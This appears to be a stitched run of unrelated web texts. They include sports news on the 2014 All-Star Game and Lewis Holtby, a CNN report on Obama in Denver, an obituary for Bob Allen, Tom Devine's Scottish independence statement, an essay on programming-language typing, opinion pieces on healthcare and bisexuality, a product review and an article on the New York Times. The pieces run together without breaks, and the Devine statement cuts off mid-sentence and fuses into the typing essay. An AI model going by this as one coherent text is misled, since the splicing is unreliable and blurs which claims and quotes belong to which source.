Political correctness is a serious disease, all the more so when it really causes death. It can lead to the failure to stop terrorism by refusing to narrow down the field of suspects, and it can also put lives at stake by fearing or refusing to interfere with religious practice. If we cannot take the steps to stop it, we must at least enable the courts to.Charlie Walters of the Pioneer Press is reporting that the MLB and commissioner Bud Selig will announce that the Minnesota Twins will be hosting the 2014 All-Star Game at Target Field.
For those wanting tickets to the festivities, much of the process is not yet known, however Twins season ticket holders will have first priority to ticket for the All-Star Game, Home Run Derby and All-Star Sunday. Target Field can hold just over 40,000 fans.
Fans better be willing to break out their wallets if they want to attend, as Walters also reports that the face value of tickets for the game is expected to be several hundred dollars.
The Twins last hosted the game at the Metrodome in 1985. They have also hosted the game in 1965.
Check out Twinkie Town for more Twins coverage. Also head over to Baseball Nation for even more news and analysis from around the league.(CNN) -- "Do you want to hit this?" a man asked President Barack Obama in a bar in Denver Tuesday night. The president laughed but didn't indulge.
It wasn't the only time Obama was offered weed on his night out. That's apparently what happens in Colorado, which recently legalized recreational marijuana.
The man posted the exchange on Instagram for the world to see.
Obama has admitted to smoking pot as a young man. He was an active member of the "Choom Gang" in high school, which perfected all sorts of techniques for getting high.
The President has since spoken about those times in more serious settings, saying as recently as this year that he made "bad choices" without considering "the harm it could do."
Earlier in the evening, the presidential motorcade passed a bearded man holding a sign: "Free weed 4 Obama." A sign outside a marijuana dispensary offered the same thing. The motorcade didn't stop.
And Obama waving off the offers didn't seem to ruin the fun.
His boys' night out with Colorado Gov. John Hickenlooper at the bar the governor used to own consisted of, well, things that take place in bars.
"Did you see how many balls he still has on the table?" the President joked after a game of pool.
Hickenlooper had five, while the President sunk the 8-ball.
A patron offered to buy the President a beer.
"It's too late, man. I just got one," Obama said.
While Obama the bear was loose, the entire night was not all jovial.
A woman stopped the President, telling him that her brother died in Afghanistan four years ago.
Obama gave Kalynne May Arrick, from Tyler, Texas, a challenge coin usually reserved for veterans, who collect them. Her brother, Marine Sgt. Kenneth May, was killed in Afghanistan in 2010.
"I'm so sorry," he told Arrick, hugging her.
Presidential meet-and-greets rarely veer so far off script. By the time Obama sat down at a pizza joint with people who had written him letters, the President had loosened his blue tie and rolled up his sleeves.
A teacher, a couple who own a small business, a college student, and a furniture store worker sat Obama down at the head of a table crowded with plates and pizza trays.
"Where do you all want me?" asked the President.
"Right at the head of the table."
"Oh my goodness, that's so formal."
Later, he walked down the streets of downtown Denver, giving fist bumps, shaking hands and slapping high fives. He refused a selfie and resisted holding a cute baby.
But he did find himself shaking hands with a man in a horse mask.
"One onlooker wore a large horse head," the pool report on the visit said, "but it's unclear what message he hoped to convey."
Obama also stopped to talk with a father and son. The boy said he was a skateboarder.
"I see you got a little scab here," the President told him.
"You got scuffed up a little bit. That's alright. If you're 10 and you don't have a scab you're not having fun."
The President ended the night with a picture and a fist bump with a gorilla statue and was back at his hotel by 9 p.m.
Tuesday was just the first night of a three-day road trip. Obama is holding a fundraiser for Sen. Mark Udall Wednesday and will give a speech focused on the economy to promote his policies to help workers.
Then he'll head to Texas, which has been the center of a political sparring match between he and Gov. Rick Perry over the deluge of immigrant children crossing the border.
What can the Lone Star State possibly do to top one night in Denver? Immigration reform probably isn't going to do it.
Opinion: Obama hasn't hit rock bottom yetEMBED >More News Videos Longtime Eyewitness Sports Director Bob Allen lost his battle with cancer at age 70
EMBED >More News Videos Sports icons and friends look back at the life and influence of Bob Allen
EMBED >More News Videos Bob Allen as Eyewitness News Sports Director in an on-air promotional spot that aired around 1980
EMBED >More News Videos Bob Allen was an enthusiastic supporter of the Sunshine Kids Foundation which helps children suffering from cancer
EMBED >More News Videos Bob Allen was live in the locker room in 2005 when the Astros made it to the World Series
EMBED >More News Videos A sports star looks back at some of his most memorable moments with Bob Allen
EMBED >More News Videos Shelby Robin was diagnosed with cancer and had a leg amputated, but that didn't stop her from cheerleading
EMBED >More News Videos Bob Allen first interviewed Shelby Robin when she was 12-years-old and lost a leg to cancer. He interviewed her again in 2011 and discovered she was working at MD Anderson
EMBED >More News Videos Bob Allen covered some of the best athletes in the world, including a five-year-old diver
EMBED >More News Videos Bob Allen has a candid interview with Bum Phillips.
EMBED >More News Videos Bob Allen asks viewers to get out and vote in 1976 election.
EMBED >More News Videos Bob Allen reports on the Arm Wrestling Championships at Astro World
EMBED >More News Videos Bob Allen's first report on Live at 5 focused on Nazi photographers at the Olympics
EMBED >More News Videos Bob Allen reports on the end of the Houston Aeros in 1978
EMBED >More News Videos Bob Allen reports on the Houston Women's Hockey League
EMBED >More News Videos Bob Allen's 1978 6pm sports report
EMBED >More News Videos Racing legend AJ Foyt talks to eyewitness news reporter Ted Ober about the passing of Bob Allen
EMBED >More News Videos David Nuno caught up with baseball great and Houstonian Roger Clemens to talk about Bob Allen
We're saddened by the passing of our longtime friend and colleague Bob Allen, ending his battle with cancer. He was 70 years old.Bob spent 38 years as part of our family at Eyewitness News, ending his career with ABC13 as our Sports Director in January 2013. Bob spent the remainder of his television career with KHOU.Bob was born and raised in Houston, where as a child he visited the abc13 studios. He started his career in radio, then graduated to the TV screen in 1974, first as the weekend sports anchor. The next year, he became Eyewitness News Sports Director.From the glory days of the Luv Ya Blue Houston Oilers-Earl Campbell era, to some low points when Bum Phillips was sacked, Bob was there. To the Astros and Nolan Ryan, the games, the highlights; and he was there as the Rockets became world champions -- twice.Off the court and playing fields, he interviewed heavyweight champions like Muhammad Ali, legendary coaches like Darryl Royal and Indy 500 winners like A.J. Foyt. Bob was about all of that. But he also had a softer side.Bob was devoted to the Special Olympics and the Sunshine Kids. Each winter, he would take time off and take a photographer along on their annual ski trip for young cancer patients. Bob loved sports, but he loved kids who are confronting challenges even more.Bob began the fight of his life in the summer of 2015, when he announced had a form of T-cell lymphoma.Bob's family issued the following statement: "On behalf of Bob Allen's family, we are so incredibly touched by the love and support shown to us during this difficult time. My dad valued his place in the Houston community, and the encouragement he received from you over the last two years gave him more strength and comfort than you will ever know.We are in the process of planning a private Memorial Service for Bob's family, friends, colleagues and loved ones."Bob is survived by his daughter and son-in-law Genna and Brent Fincher, his grandchildren Mason and Hayden Fincher, his brother and sister-in-law Ken and Debbie Egalnick, niece Kristin Egalnick, nephew Kenny Egalnick and great nephew- Kane Hutchison.Tom Devine, Scotland’s most celebrated historian of recent years, sent shockwaves through the country when he revealed in a news report in The Observer newspaper last weekend that he intends to vote in favour of independence on September 18. Now, for the first time, the full text of Devine’s declaration, made on August 15, in the Grill on the Corner restaurant, Glasgow, is published by The Conversation. It was made in the presence of New Zealand academic Angela McCarthy and Observer correspondent Kevin McKenna.
My engagement in the Scottish independence referendum campaign before now has been restricted to impartial academic interviews. And although I’ve only come to a Yes conclusion over the last fortnight this has been a long journey for me. My preferred option would previously have been devolution maximus, but that’s not available. Moreover, even if there is not to be a Yes win, it’s imperative that the Yes vote is as high as possible in order to put pressure on the unionist parties to commit themselves to granting increased devolved powers, and as soon as possible thereafter.
I’ve never been a member of a party and am still not, so my position does not indicate support for the SNP; it’s simply in favour of independence. The SNP just happens to be a significant force in the campaign. The Yes campaign is now a widespread movement and that’s encouraging for me.
My journey with Scottish nationhood
I come from a Labour background that includes my grandfather, mother and father and I was very much anti-independence at the start of the campaign. For me, the catalyst for change has been how threadbare the union has become since the early 1980s and linked to that is the transformation of Scotland. I wouldn’t have voted for this in the Scotland of the 1970s or 80s. It’s the Scotland that has evolved since the late 80s and 90s that is fuelling my Yes vote. It now seems to me to be in a fit condition to run a successful economy. There is a list of reasons for this.
There has been a Scottish parliament which has demonstrated competent government and that parliament has also indicated, by the electoral response to it, that the Scottish people seem to be wedded to a social democratic agenda and the kind of political values which sustained and were embedded in the welfare state of the 1950s. In fact, you could argue that it is the Scots who have tried to preserve the idea of Britishness in terms of state support and intervention, and that it is England that has chosen to go on a separate journey since the 1980s.
There has been an enormous increase in a sense of Scottishness and pride in Scottish identity which has itself been sustained by an explosion in Scottish writing and creative arts since the 1980s, especially in relation to my own subject. We now have a proper modern history of Scotland which we didn’t have until as late as the 1970s and |
and which expressed at anything like a high level what you wanted the computer to do. But the computer's memory was just a flat line of words or bytes, and the processor was slow, not really much faster than a prodigy reckoning in his head. The obvious way to think about a high-level language was to carve up memory into small parcels of bits which were to be interpreted a particular way - as floating point numbers, as characters, as strings - and to blindly manipulate those patterns of bits knowing (or assuming) they were what the operations thought they should be.
So people invented types as a way of telling the program that prepared the executable code what sorts of data there would be and how to manipulate it. The preparation program - the compiler and linker - would then imagine regions of memory carved up into chunks, and act like a blind robot making a cake: Just as the robot might reach to the right 130 degrees and 10.7 centimeters down and grab, assuming it was picking up a pastry bag, the CPU might reach into location 31425 and grab, assuming it was the 56th element of a vector - and a floating-point number to boot.
The thought these pioneers had for how programmers should work was this: Each programmer would say: "Please, God, just put my program together and run it as fast as You can and I will never eat a jelly doughnut again!"
But not everyone thought this way. Some people thought you should program by conversing with the computer, typing in commands or expressions and seeing how the computer responded. Programmers would define operations and procedures and try them out, testing as they went, incrementally working, coaxing fast turnaround from the slow machines by piecing together the parts and checking them in small test cases, working up to the final result.
The way these program preparation programs worked was to define the way that memory was divided into meaningful things - objects? - so that when a program picked up something, it could tell what it was. It's like the cakemaking robot being able to tell whether it has picked up the pastry bag.
Neither camp thought it was a good idea to add 64 to the character "a" unless it was in the middle of the most hidden, performance-crazy part of a system. In fact, both camps approached the idea of strong typing in their own ways
It's useful to distinguish between strongly, statically, and dynamically typed languages. A strongly typed language is one where operations are allowed only on data of the proper types; a statically typed one does its typechecking at compile-time; and a dynamically typed one does its typechecking at runtime (and adds exception handling to the mixture). The best large-lump development languages are strongly, statically typed, and the best incremental development languages are strongly, dynamically, and, sometimes, statically typed.
The large-lump development people decided that they would not allow programs to be constructed by the compilation system unless it could be shown that every operation was performed on data of the proper types. The incremental development people decided that they would not allow the execution of operations on data of improper types and would make their runtime systems signal an error if such an attempt were made.
One of the claims of the large-lump development crowd is that it is easier or faster to catch certain errors at compile time. I have used both kinds of languages and I find I spend about the same amount of time dealing with type errors in both kinds of language. In the days when compilers would bomb out after the first one or two errors, it would sometimes take a lot longer to find the type errors in the compiled language. Of course, there are no such compilers today.
The main reason, though, that type errors take about the same time to deal with is that they are not always merely the result of typos or simply fixed problems; often a type error would signal a logical, algorithmic, design, or even architectural mistake. In my experience, dealing with type errors per se was a negligible part of the problem of developing a realistic system.
One of the benefits of dynamic typing is that the types of objects can be determined at runtime, by application logic. This enables what was once called data-driven programming. Originally this was supported by a freewheeling style and was chaotic as anything was in the early 1960's. Later, though, discipline and precision were added to the idea and data-driven programming evolved into object-oriented programming.
But what happened in the evolution of programming languages is that the large-lump folks didn't realize that large-lump development as a system-building methodology was hard to do for software organizations, or that building a system was not yet like building a highway or bridge. On the other hand, the incremental development folks didn't realize that the performance lost in checking each operation would be enough to sway almost everyone away from using such languages so that today the disparity between the sizes of the communities is huge.
You cannot fault the large-lump philosophy for having won, because when computers were horrendously expensive and people incredibly cheap, the computer's time was more valuable than a person's time. Today, though, it isn't clear how the tradeoff - if made afresh - would turn out. Even PC-class computers are faster by a large margin than is needed for the most common computing tasks, and only in scientific, engineering, and graphics (including multimedia) is the issue of CPU performance paramount. One could argue that the problem of performance today centers more on network - especially Internet- bandwidth.
Nevertheless, the tradeoff cannot be made afresh because we have several generations of computer-savvy folks who have learned the received wisdom that the speed and size of a running system is the most important thing in thinking about a computer language (or system), and ease of incremental development is not. In fact, the entire programming methodology business, er, discipline is based on the idea that development is done in accordance with the way software is prepared: as large-lump development.
Though the large-lump development folks claim that type safety is the reason that statically typed languages were developed, I don't believe it for a minute. Early Fortran compilers weren't very typesafe and represented the pinnacle of performance. In the mid-1960's I worked as a scientific programmer, and the only thing I and my colleagues were concerned about was speed, performance, and efficiency. Why, we even did arithmetic on characters - in Fortran - if we had to.
Today some companies and research labs are trying to figure out ways of making it possible to do incremental development in a language and language-preparation system that assumes large-lump development. In some cases, notably C++, it is very difficult to achieve good results unless the underlying implementation philosophy is changed to that of languages like Lisp or Smalltalk. However, this makes it difficult to mix code from different compilers and frequently requires providing all the standard libraries as prepared by the alternative language system - not always possible unless you manufacture the operating system.
The interesting case is Java. Java is a language based on a neat dose of incredibly innovative uses of existing ideas and terminology. Java is basically a cleaned up C++ (with all the problems of pointer arithmetic and multiple inheritance eliminated), implemented exactly as Lisp and Smalltalk have been, but used for Web/Internet programming. The intellectual heritage of Java includes C++, Lisp, and Smalltalk, and also Postscript and News. The latter two are mechanisms for sending a procedural representation of a picture rather than a declarative one: that is, a program is sent and executed remotely, and not only can this require fewer bits to be sent than with a bitmap, but the program could perform animation.
What has been done most brilliantly, though, is to rename some of the components so as to render them fresh and catchy, for example: Applets (small programs that are the equivalent of Postscript in the analogy), just-in-time compiler (the technology to translate virtual machine codes into native code which can be cached for faster execution and which has been in common use in the Smalltalk world for at least 5 years), and Java (a fresh name for a cleaned up C++).
Java uses incremental development implementation techniques to achieve the claimed benefits of safe, small code, but Java is couched in the context of the Internet where the slower execution speed of incremental development languages is insignificant compared to the network latency problem. It will be interesting to see whether the learned kneejerk response to so-called interpreted languages ("so cute, but so slow") applies to Java as a programming language, overwhelming the magic of the new context and the cute names.
I believe there are very few fundamental differences between the two factions anymore except for obsession with speed. Java is the most recent experiment with trying to unify the two camps. Let's hope.91 SHARES Share Tweet
The performances of Lewis Holtby have been one of the highlights of our preseason. Could he be playing his way in to a regular spot in the starting XI?
Arriving from Schalke in January 2013, Lewis Holtby was signed to be our number ten. Andre Villas-Boas was struggling with a disconnect between his midfield and strikers and the German was bought in to be the answer.
Coming in midway through the season, Holtby found it difficult to settle. He became a bit-part player, renowned for his energy and enthusiasm, but failing to provide the creativity and killer balls we needed.
Regularly becoming a substitute, it was a game against Basel in April 2013 that prompted me to write “Could a deeper Lewis Holtby open up our midfield?’ It firmly looks like this season that could well be the place that he is playing in to contention for.
Pochettino’s box-to-box player
Mauricio Pochettino combines two players at the base of his midfield, a holder and a box-to-box player.
This latter man is required to help out in the defensive phase, screening his back four and dropping in for the left back if he is caught forward. Once on the attack, he is required to move the ball vertically to the advanced midfielders and striker, whilst also arriving late in the box unmarked.
Those who have read my series on ‘How Mauricio Pochettino will change our midfield’ have seen how our new coach used Morgan Schneiderlin to do this. With his performances in pre-season, Lewis Holtby is playing his way in to contention for the role at Spurs.
Lewis Holtby defensive phase
Along with the full backs, the box-to-box midfielder at the base of Pochettino’s 4-2-3-1 is required to be the most athletic player on the park. He has a lot of ground to cover and this seems to suit Holtby’s boundless energy perfectly.
In the defensive phase, he is required to squeeze up and press behind the front four attackers. Here we can see how he wins the ball back off the Schalke defensive midfielder, as he rushes in behind our advanced midfielders and striker to compress the playing area.
In our pre-season match with Chicago, he created the first goal for Harry Kane by doing this, as he quickly closes and robs the defender on the edge of the box. A neat and well aware pass to Kane then created an easy tap-in to open the scoring.
Whilst this is the aggressive side of his defensive game, he cannot be up the field the whole time. Pressing is not always successful every possession when the opposition have the ball. Whilst after a certain amount of time, it has to be dropped off due to the energy expended over 90 minutes.
In these situations, the box-to-box player has to drop in and screen his back four. Here we can see with 63 minutes on the clock how much deeper we are as Schalke navigate our initial wave of pressure. Lewis Holtby spots the pass and comes off his man on the halfway line to intercept the ball.
But his defensive duties don’t just stop there. When the left back goes forward on the attack, he has to drop in and cover for him if possession is turned over.
Here we can see how Lewis Holtby has dropped in to help Danny Rose who is up-field.
Here he doubles up with Aaron Lennon against two Schalke players as Rose recovers his position.
There is a tremendous amount of work for the box-to-box player to get through without the ball and this can see him rack up the fouls.
Morgan Schneiderlin committed the most fouls, as well as having the most interceptions and tackles, in Pochettino’s system at Southampton. Lewis Holtby has had trouble with fouling opponents at both Spurs and during his time in the Bundesliga. This is something he will need to get a handle on if he is to make the position his own and wants to make the German national team, who online betting site MyTopSportsbooks.com have as 9/2 favourites in their Russia 2018 World Cup predictions.
Lewis Holtby attacking phase
Whilst working to regain the ball is one part of the box-to-box player’s job, he is also required to support and join the attack.
It starts with helping move the ball out from the back. Whilst the holding midfielder is usually required to drop between the wide-splitting centre backs, the box-to-box midfielder can also find himself doing this job.
Against Schalke, Nabil Bentaleb was the holding midfielder and was supposed to be covered by the Schalke forward. As he is marked, Bentaleb moves up and Lewis Holtby drops between the centre backs. The Schalke forward then gets drawn towards Holtby as the deepest lying midfielder. Now Bentaleb is free to take the pass, leaving the Schalke player in no man’s land and expending energy closing down.
Once play is moved further up the field, the box-to-box player then has the role of moving the ball vertically forward to the advanced midfielders and striker.
Whilst he is not an overly creative passer, Lewis Holtby does move the ball vertically very well. Something regular readers of this blog will know from previous posts highlighting Lewis Holtby’s vertical passing game and a topic we revisited when he was on loan at Fulham. This pass to Steve Sidwell was a particularly good illustration.
This one to Jermain Defoe in the Capital One Cup against Aston Villa was my favourite pass of last season.
He also replicated a similar one at the weekend to set Andros Townsend on his way against Schalke. Townsend pulled the ball back for Soldado to blaze a shot over, but the highlight of the move was Holtby’s perfectly weighted vertical pass.
Being able to shift the ball vertically moves the play quicker, but the box-to-box player can’t sit and admire his work. He then has to arrive late in the penalty area to join the attack, and if timed well enough, often he will be unmarked.
At the weekend Lewis Holtby popped up in acres of space in the box, but saw his shot smothered when he should have scored.
He was also running forward from behind the play when setting up Emmanuel Adebayor for the opening goal.
This was a similar run to where he started when teeing up Roberto Soldado against Celtic. Here, he also bursts forward from deep to take the ball from Harry Kane at the edge of the penalty area, before squaring it for the Spaniard to score.
Lewis Holtby has also weighed in with two goals. His burst forward from deep and deft header against Seattle was a particular highlight of the kind of runs Mauricio Pochettino wants from his box-to-box midfielder.
Lewis Holtby playing his way in to contention?
After an unsettled season and a half that has included time on loan at Fulham away from Tottenham, Lewis Holtby is finally starting to look like he has found a home.
His performances in pre-season have been one of the highlights and he is really staking a claim for a regular first team spot. He has the skill set for what Mauricio Pochettino requires from his box-to-box midfielder and it puts his boundless energy to good use.
In a very congested midfield, there will be competition for places, especially with our World Cup players returning. With a head start on the new coach’s system, Lewis Holtby is really playing his way in to contention for starting spot.
**As we build up to the new season, be sure to check back for the West Ham tactical preview or look for the new article links on Facebook and Twitter.Donald Trump has accused search-engine giant Google of suppressing bad news about Hillary Clinton — and there's an odd bit of truth to it.
At a rally in Wisconsin, the GOP presidential candidate said: "The Google poll has us leading Hillary by 2 points nationwide. And that's despite the fact that Google's search engine was suppressing the bad news about Hillary Clinton, how about that?"
Google denies the charge.
But as The Independent reports, Google "does indeed hide negative results" in its autocomplete suggestions.
"Numerous people have pointed out that while typing something into the search, Ms. Clinton's name seems to mostly have positive suggestions even when more natural, negative ones might be expected," The Independent's Harry Cockburn writes.
"Writing 'Hillary Clinton crim', for instance, might be expected to bring up a suggestion that someone searches for crimes. And typing her name next to 'indic' might be expected to bring up indictment. But neither of those actually does happen."
But Trump gets the same results — searching for negatives actually brings up positives about him.
Cockburn explains that Google "intentionally" stops its algorithm from suggesting negatives next to a name, presumably "to ensure that disparaging things are left out, avoiding needless negativity and potential PR and legal problems."by Ben Cohen
The battle for comprehensive healthcare does not exist between Left and Right. The Republicans have shown themselves unwilling to negotiate in good faith, and have thus removed themselves from the debate on healthcare reform in America. They do not have the votes or the leverage to affect the outcome, and they must now consign themselves to the sideline while the Democratic Party fights with itself.
The battle exists between the Left and Center, between those who believe a public plan is necessary to reform healthcare, and those who would appease the rabid Right and leave healthcare in the hands of private profit centers. The Centrist's apathy towards a public plan has done immeasurable damage to the debate. There are few in the center who hate the idea of a socialized insurance scheme, but don't think it necessary to bring down costs and provide more universal coverage. Writes Conor Clark on the Daily Dish:
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I have decently warm feelings about a public option, but I don't think it's a good site for an all-consuming pitched battle over the fate of American health-care reform. So it's nice to see that some members of the Obama administration think this.... If we get over the public option, perhaps we can get back to the rest of health-care reform.
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Clark provides reasoning for his position, namely that the'signal' argument (whether Obama is truly a progressive or not) "hinges only on the intensity of support for the abstract proposition
that the government should get more involved in the insurance industry." According to Conor, this isn't necessary for real reform, whereas increased competition and regulation are.
But Conor is missing the point. The point is not just to bring down costs, but to create a healthcare system that values people's health, not profit. A public insurance scheme signals to Americans that their government gives a damn about them, that it will not leave them to the real Death Panels that decided whether people live or die according to their ability to pay.
A public insurance scheme won't be perfect. It will certainly force private companies to lower costs, and it will provide relief to millions of people who have not had access to affordable care. But above all, it will strike a blow to the insidious notion that free market capitalism should decide whether we live or die. And for that, everyone should be lining up behind the public plan.You probably know by now that I’m a fan of self massage in general. I love the use of foam rollers and I’ve even made a video on how to self massage your forearms without equipment. Those methods work great but if you’re looking for something a little more proper that tackles the forearms really well on both sides, nothing really beats the ArmAid.
Here’s my video review of this product right here:
Overall a very positive review of a pretty awesome product, otherwise I wouldn’t even bother to make a video on such a thing. What originally turned me on to this was this video review by Kelly Starrett and he’s right, it is “really evil” in a great way.
Why should you massage your forearms?
Whether you hang from rings/bars, rock climb, or are a musician or even a chef, you use your hands ALL THE TIME. The muscles in your forearms control those hand and wrist movements and they can get REALLY tight. So tight in fact that it could cause pain in the tendons of your elbows or wrists from the lack of slack in the system. Even massage therapists, while they massage other people, they do so with their own hands and suffer from the same repetitive strains. So a tool like the ArmAid is a very useful invention to help relax those muscles without having to see a massage therapist for it.
ArmAid Coupon Code
Use the coupon code “ANTO” and you will get a 10% discount from their online store. It’s not much, but at least it negates the shipping!
This is a deal that I helped work in for YOU by exchanging e-mails with them and it should work until the end of this year. Personally, I didn’t even get a discount on this product. I bought it full price earlier this year and my review of it is genuine, so while 10% is not much, it’s better than nothing!
You’ll see on the site that you have the option of buying “Only the Armaid” for $69 or the “Armaid Package” for $99. I remember I had to compare what the differences were so I’ll try to explain.
Only the ArmAid comes with the white roller (the most useful one) but has no leg strap. The inventor of the ArmAid (Terry Cross, real nice guy) has made a video showing how to use the ArmAid without the leg strap, which I have tried myself and while it isn’t as convenient or effective, it’s better than nothing, I guess. Personally, it’s kind of annoying to use it without the leg strap, but that’s probably because I got used to having the strap.
The Standard package comes with the leg strap, white roller and a softer grey roller and DVD. If you could afford this option, go for it. (The DVD is not that important cause the ArmAid Youtube channel has all the videos already.)
So, my opinion is that you should just get the Standard package but if you’re on a super tight budget, you could get away with “Only the ArmAid” option, but it’s not as convenient. If you got the money, there’s also a “complete package” that comes with a multitude of rollers and a travel bag so you get all the bells and whistles.
What about the orange “extreme” roller? Here’s a video review of that…“There’s this fashion for media companies to call themselves technology companies,” says Jake Silverstein, editor of The New York Times Magazine. “Our job isn’t to make technology. Our job is to figure out how to use technologies.” Or, as Sam Dolnick puts it: “We’re not going to create augmented reality. We’re going to figure out how to use that in a journalistic way.”
Which is to say, a “Timesian” way, a shorthand you frequently hear for what the Times can and cannot do in the interest of protecting its exalted status (and nowhere is it more exalted than within the Times itself). What Timesian means or doesn’t mean often depends on who’s defining it, but it’s typically in the same general neighborhood as authoritative, or maybe stuffy. Editors are infamous for their lengthy divinations on whether new headline styles are sufficiently Timesian, and, per the Innovation Report, nothing slowed down a new initiative more than when management deliberated on just how Timesian it was or wasn’t.
It’s been Dolnick’s mission to drum up enthusiasm in the newsroom for testing out new applications, from VR to livestreaming, without worrying too much about the Timesian thing. After stints at the Staten Island Advance and the Associated Press, Dolnick started at the Times in 2009 as a metro reporter—the same year as his cousin A.G.—and wrote a prizewinning series on halfway houses before becoming a senior editor for mobile and then an associate editor. Inside the Times these days, he is known for the regular companywide email newsletter “Digital Highlights.”
One such highlight: At the Olympics last summer, deputy sports editor Sam Manchester sent short, frequently humorous text messages to the 20,000 readers who had signed up for the service. One, which sparked a viral meme, was a photo of a lifeguard watching swimmers practice, with a caption: “You know who has the most useless job in Rio? She does. That’s right, they have lifeguards in case Olympic swimmers need saving.”
“A generation ago, or even five years ago,” says Dolnick, “there’d be a lot of this Timesian stuff, ‘Oh, The New York Times doesn’t do that. We don’t make jokes in text messages.’ ” The audience responded, though, and Manchester buckled under the thousands of questions that readers texted him. That explains why, for its next engagement experiment with readers, the Times turned to artificial intelligence. Running up to the election, they created a Facebook Messenger chatbot that offered daily updates on the race in the voice of political reporter Nick Confessore. Running the backend was a tool created by Chatfuel that combined natural language parsing (so it could understand the questions posed to Confessore) with a conversation tree (so that the bot could respond to readers’ queries using prewritten answers).
One of the biggest initiatives Dolnick has been involved in is virtual reality. He says it started with an email he sent to Silverstein last year: “Hey man, want to see something cool?” Dolnick had just visited a VR production company called Vrse.Works (since renamed Here Be Dragons1) and brought one of their films, Clouds Over Sidra, into his office. The Times has since jumped into VR, partnering with Google to send its Cardboard VR viewers to all of its 1.1 million Sunday print-edition subscribers, creating an NYT VR app that’s been downloaded more than 1 million times, and producing 16 (and counting) original films about topics as varied as displaced refugees (The Displaced), floating movie stars (Take Flight), and battling ISIS in Iraq (The Fight for Falluja). It remains a working experiment. The floating movie stars, for example: “People liked it, it got pretty good views,” Silverstein says. “But it didn’t feel like we were advancing the ball. It had a little whiff of ‘Look at us. We have VR.’”
Even as Sulzberger boasts, “We employ more journalists who can write code than any other news organization,” there are some at the Times—usually those who can’t write code—who chafe at these endless waves of experimentation. “When we’re told this is the new best practice, everyone marches in lockstep,” says one editor who asked to remain anonymous. “Facebook Live? Yep! Video? On it! The New York Times isn’t a place where people say no, and we’re flat-out exhausted.”
The Pew Research Center recently asked Americans whether they prefer to watch, read, or listen to the news. Here’s what they said.
In March of 2016, Alex MacCallum, the Times’ senior vice president for video (and at the beginning of her career, one of the first three hires at the Huffington Post), went to Baquet with a proposition from Facebook: If the Times would commit to producing dozens of livestreams a month for Facebook Live, its new video platform, the social media giant would pay the Times $3 million a year. Like most major media companies, the Times has a complicated relationship with Facebook—a 2015 deal to publish Times journalism directly on Facebook Instant led some in the newsroom to worry about cannibalizing subscriptions and losing control of their content—but following the Innovation Report, the pull of a new social platform was hard to resist. Baquet gave the green light. “We spun up a team and started producing within two weeks, which is like a land speed record in this organization,” MacCallum says.
Over the next few months, the Live team recruited more than 300 Times journalists to livestream anything and everything: press conferences, protests, political conventions. It was too much for some, and the public editor of the Times, Liz Spayd, said as much in a column headlined “Facebook Live: Too Much, Too Soon.” Spayd complained that some of the videos were “plagued by technical malfunctions, feel contrived, drone on too long … or are simply boring.” She urged editors to slow down, regroup, and wait until the Times could stay true to its past model of “innovating at a thoughtful, measured pace, but with quality worthy of its name.” (Timesian!)
MacCallum concedes that some of the early efforts may have fallen short, but today she puts them in the perspective more common in tech circles than media organizations. “I disagree that it’s possible to have every single thing be up to the standard. Otherwise you can’t take any risks.” What’s more, Baquet says, the project helped train hundreds in his newsroom in how to frame a shot, speak on camera, and all the other skills necessary to produce journalism in the years to come. “If you buy that our future is the phone, and you buy that that means our future is going to be more visual than it’s been in the past, then New York Times journalists have to be comfortable with video.”
The alternative is stark. For most of the last year, the Times offered buyouts to employees, in part to make room for new, digitally focused journalists. As one editor (fearful of being quoted by name) put it: “The dinosaurs are being culled.”Op-ed: A Second Look at Bisexuality
When it comes to selecting our identifiers, those who are bisexual are overwhelmingly slighted in popular culture as being either confused, selfish, or in denial. It is hard enough for the world to understand being gay or lesbian, and all the more hard for them to comprehend that sexuality can be of a fluid nature when their own feels cemented in stone. So they mock bisexual people, because the ability to accept a concept outside of our own experiences is the repetitive struggle throughout the ages. But the problem is, the neglect, disrespect, and dismissal of bisexuals also occur among the people who are supposed to provide shelter for sexual minorities — gay people.
Either you have said it yourself or you have heard it echoed through the gay community over and over. I know I have.
“I don’t believe in bisexuality. It’s just a layover on the way to gay town.”
“She’s not bisexual. She’s just confused. You know she will eventually marry a man.”
As gay men and women, we have all said or thought something along these lines because, quite frankly, we think we've seen it happen time and again. But we of all people know all too well that just because an opinion is popular doesn’t make it true.
As someone who is a true Kinsey 6, I was only able to get to the kissing stage with a girl before doing a cannonball into homosexuality. So in my earlier years as a gay man, I wrongly thought anyone claiming to be bisexual was just too afraid to utter the words “I am gay.” My friends and I would laugh off the assertions of people insisting that they were bisexual, acting like we knew something they didn’t and feeling annoyed that they wouldn’t just admit it already.
Then I met Brett, a coworker and friend who would often frequent the gay bars with me. Brett was always on the prowl for a new boy to bed, but still claimed to have a physical affinity toward the opposite sex. I would laugh at his assertions, refusing to believe any man could ever be attracted to both genders. Of course, this was only because I wasn’t attracted to men and women myself, and I couldn’t look beyond my own feelings and experiences to understand his.
That was eight years ago. Brett and I are still friends and he is still bisexual.
Somewhere between my twenties and thirties, I realized just how bigoted I was being to my own friend by discounting his sexual orientation. All of my slights over his bisexuality were mere projections of my own ignorance, and it was time for that to stop.
Instead of recognizing the reverse bell curve of sexuality and accepting that some people’s attractions aren’t as finite as others, many in the gay community are like I was and still opt for a more scrupulous approach to separating the gays and the straights. So with a popular attitude toward bisexuality being, “You are either with us or you’re against us but either way you are still a homo,” it’s no wonder that more people don’t publicly identify themselves as bisexual.
For a man, once you dabble in the homosexual arts, some of us may well have mentally tattooed “nelly” on your butt cheeks. Both straight and gay people I know have struggled to accept that a man can be sexually stimulated by another man and still have desires for female intimacy and companionship. The second a guy even kisses another guy, he is forever unfairly labeled a reluctant homosexual in the minds of too many of my gay friends. So why would any man with half a brain and an attraction to both sexes dare to step out of the lady pond if they are never going to be allowed back? The male bisexual may be an elusive creature, but only because we create an environment where these men would rather adopt one label or another instead of facing the firing range of doubt.
Although it may be convenient to shove people into categories that are easily defined, this rigid interpretation of sexuality ostracizes many men and women who should be considered allies, not adversaries.
Accepting that bisexuality is a valid sexual orientation is the same as accepting people for who they say they are, even if it goes beyond what you can understand. To deny the legitimacy of bisexuality because it is outside of our own comprehension is no better than the attitude of the many people who have dismissed homosexuality as being nothing more than a phase, a mental illness, or something that can be fixed.
As gay men and women, we do not allow anyone to deny the legitimacy or authenticity of who we are. We are a culture forged in the steadfast belief that we, as people, were born this way. In spite of the many well-organized efforts to dismiss the validity of our sexuality, we stuck to what we knew was true in our gut. So to casually dismiss bisexuals as either confused straight people or homos in hiding goes directly against the logic that we demand heterosexual naysayers to adopt.
